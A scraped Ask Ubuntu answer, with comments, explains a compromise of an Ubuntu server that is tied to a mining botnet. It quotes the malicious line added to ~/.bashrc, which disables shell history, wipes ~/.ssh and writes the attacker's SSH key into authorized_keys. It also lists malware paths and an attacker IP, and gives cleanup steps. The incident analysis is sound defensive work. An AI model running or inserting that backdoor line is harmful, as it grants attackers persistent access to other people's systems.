            ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr


            Furthermore, I found this folder: /tmp/.X13-unix/.rsync, where all the malware is. I even found a file, /tmp/.X13-unix/.rsync/c/ip, a file containing 70 000 IP addresses, which most likely are other victims or node servers.



            There are 2 solutions:
            A:



            • Add a firewall blocking all outgoing connections except port 22 and others that you find necessary and enable fail2ban, a program which bans an IP address after X failed password attempts


            • Kill all cron jobs:
              ps aux | grep cron, then kill the PID that shows up


            • Change your password to a secure one


            B:



            • Back up any files or folders that you need or want



            • Reset the server and reinstall Ubuntu, or directly create a new droplet



              Like Thom Wiggers said, you are certainly part of a bitcoin mining botnet, and your server has a backdoor. The backdoor employs a perl exploit, a file located here: /tmp/.X13-unix/.rsync/b/run, containing this (https://pastebin.com/ceP2jsUy)



            The most suspicious folders I found were:



            • /tmp/.X13-unix/.rsync


            • ~/.bashrc ( which was edited )


            • ~/.firefoxcatche


            Finally, there is an article relating to the Perl Backdoor here:
            https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/



            I hope you find this useful.






            share|improve this answer















            The same happened to me, and I noticed yesterday. I checked the file /var/log/syslog and this IP (185.234.218.40) appeared to be automatically executing cronjobs.



            I checked it on http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) and it has some reports. These files were edited by the trojan:



            • .bashrc

            • .ssh/authorized_keys

            I found this at the end of .bashrc (which is executed each time bash is opened):



            set +o history
            export PATH=/home/user/.bin:$PATH
            cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~


            It is deleting your authorized_keys file, which is a list of SSH keys which are allowed to connect without a password. Then, it adds the attacker's SSH key:



            ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr


            Furthermore, I found this folder: /tmp/.X13-unix/.rsync, where all the malware is. I even found a file, /tmp/.X13-unix/.rsync/c/ip, a file containing 70 000 IP addresses, which most likely are other victims or node servers.



            There are 2 solutions:
            A:



            • Add a firewall blocking all outgoing connections except port 22 and others that you find necessary and enable fail2ban, a program which bans an IP address after X failed password attempts


            • Kill all cron jobs:
              ps aux | grep cron, then kill the PID that shows up


            • Change your password to a secure one


            B:



            • Back up any files or folders that you need or want



            • Reset the server and reinstall Ubuntu, or directly create a new droplet



              Like Thom Wiggers said, you are certainly part of a bitcoin mining botnet, and your server has a backdoor. The backdoor employs a perl exploit, a file located here: /tmp/.X13-unix/.rsync/b/run, containing this (https://pastebin.com/ceP2jsUy)



            The most suspicious folders I found were:



            • /tmp/.X13-unix/.rsync


            • ~/.bashrc ( which was edited )


            • ~/.firefoxcatche


            Finally, there is an article relating to the Perl Backdoor here:
            https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/



            I hope you find this useful.







            share|improve this answer














            share|improve this answer



            share|improve this answer








            edited Jul 30 at 20:57

























            answered Jul 30 at 12:44









            OqhaxOqhax

            432 bronze badges




            432 bronze badges















            • I wiped the os drive and reinstalled Ubuntu created a new password that is rather long and new ssh keys

              – MCP_infiltrator
              Jul 30 at 12:47











            • Yes, that's a good solution :)

              – Oqhax
              Jul 30 at 13:05











            • This was a very helpful answer - thank you for catching the fact that ~/.bashrc had been edited. I found that to kill the bogus rsync I had to issue kill -9 <pid>.

              – Benny Hill
              22 hours ago

















            • I wiped the os drive and reinstalled Ubuntu created a new password that is rather long and new ssh keys

              – MCP_infiltrator
              Jul 30 at 12:47











            • Yes, that's a good solution :)

              – Oqhax
              Jul 30 at 13:05











            • This was a very helpful answer - thank you for catching the fact that ~/.bashrc had been edited. I found that to kill the bogus rsync I had to issue kill -9 <pid>.

              – Benny Hill
              22 hours ago
















            I wiped the os drive and reinstalled Ubuntu created a new password that is rather long and new ssh keys

            – MCP_infiltrator
            Jul 30 at 12:47





            I wiped the os drive and reinstalled Ubuntu created a new password that is rather long and new ssh keys

            – MCP_infiltrator
            Jul 30 at 12:47













            Yes, that's a good solution :)

            – Oqhax
            Jul 30 at 13:05





            Yes, that's a good solution :)

            – Oqhax
            Jul 30 at 13:05













            This was a very helpful answer - thank you for catching the fact that ~/.bashrc had been edited. I found that to kill the bogus rsync I had to issue kill -9 <pid>.

            – Benny Hill
            22 hours ago





            This was a very helpful answer - thank you for catching the fact that ~/.bashrc had been edited. I found that to kill the bogus rsync I had to issue kill -9 <pid>.

            – Benny Hill
            22 hours ago

















            draft saved

            draft discarded
















































            Thanks for contributing an answer to Ask Ubuntu!


            • Please be sure to answer the question. Provide details and share your research!

            But avoid


            • Asking for help, clarification, or responding to other answers.

            • Making statements based on opinion; back them up with references or personal experience.

            To learn more, see our tips on writing great answers.




            draft saved


            draft discarded














            StackExchange.ready(
            function ()
            StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2faskubuntu.com%2fquestions%2f1161003%2fstrange-cron-job-takes-up-100-of-cpu-ubuntu-18-lts-server%23new-answer', 'question_page');

            );

            Post as a guest















            Required, but never shown





















































            Required, but never shown














            Required, but never shown












            Required, but never shown







            Required, but never shown

































            Required, but never shown














            Required, but never shown












            Required, but never shown







            Required, but never shown







            Popular posts from this blog

            Category:9 (number) SubcategoriesMedia in category "9 (number)"Navigation menuUpload mediaGND ID: 4485639-8Library of Congress authority ID: sh85091979ReasonatorScholiaStatistics

            Circuit construction for execution of conditional statements using least significant bitHow are two different registers being used as “control”?How exactly is the stated composite state of the two registers being produced using the $R_zz$ controlled rotations?Efficiently performing controlled rotations in HHLWould this quantum algorithm implementation work?How to prepare a superposed states of odd integers from $1$ to $sqrtN$?Why is this implementation of the order finding algorithm not working?Circuit construction for Hamiltonian simulationHow can I invert the least significant bit of a certain term of a superposed state?Implementing an oracleImplementing a controlled sum operation

            Magento 2 “No Payment Methods” in Admin New OrderHow to integrate Paypal Express Checkout with the Magento APIMagento 1.5 - Sales > Order > edit order and shipping methods disappearAuto Invoice Check/Money Order Payment methodAdd more simple payment methods?Shipping methods not showingWhat should I do to change payment methods if changing the configuration has no effects?1.9 - No Payment Methods showing upMy Payment Methods not Showing for downloadable/virtual product when checkout?Magento2 API to access internal payment methodHow to call an existing payment methods in the registration form?